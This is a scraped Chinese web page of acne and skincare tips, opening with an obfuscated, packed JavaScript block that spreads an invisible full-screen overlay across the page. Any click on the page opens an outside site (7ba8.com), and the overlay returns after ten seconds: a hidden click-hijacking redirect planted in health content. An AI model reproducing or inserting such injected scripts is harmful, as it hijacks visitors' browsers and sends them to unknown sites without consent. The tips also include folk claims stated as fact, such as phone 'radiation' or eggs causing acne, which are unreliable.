<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>下午四点到六点是一天中最佳的运动时间，严格的按照自然规律生活，这样不仅对痘痘和痘印好，而且对皮肤和身体也会好，出汗后皮肤会得到自然的滋润，毛孔扩张开后再冲个澡，真是想多轻松多轻松
注意事项：
用温水洁面，有条件最好是用流动的温水，不要用毛巾，因为毛巾上残留有细菌，会导致交叉感染，洁面后用凉水拍面，有助于自然收缩毛孔，不抽烟，不喝酒,少吃辛辣，油腻，海鲜，牛羊肉，鸡蛋，韭菜类的食物，保证充足而又正常的睡眠习惯，少玩带有辐射的东西，如：手机，电脑，多吃水果，蔬菜，多喝开水，保持心情开朗,多运动，保证脸部毛孔的畅通，多吃含有VE，VC等含量较多的食物,如：胡萝卜，西瓜，丝瓜，百合，芹菜，银耳，莲子一类的，等 美容的食物买点金银花泡茶喝,如工作环境有污染，汽油，装修的味道都会导致长痘的 |
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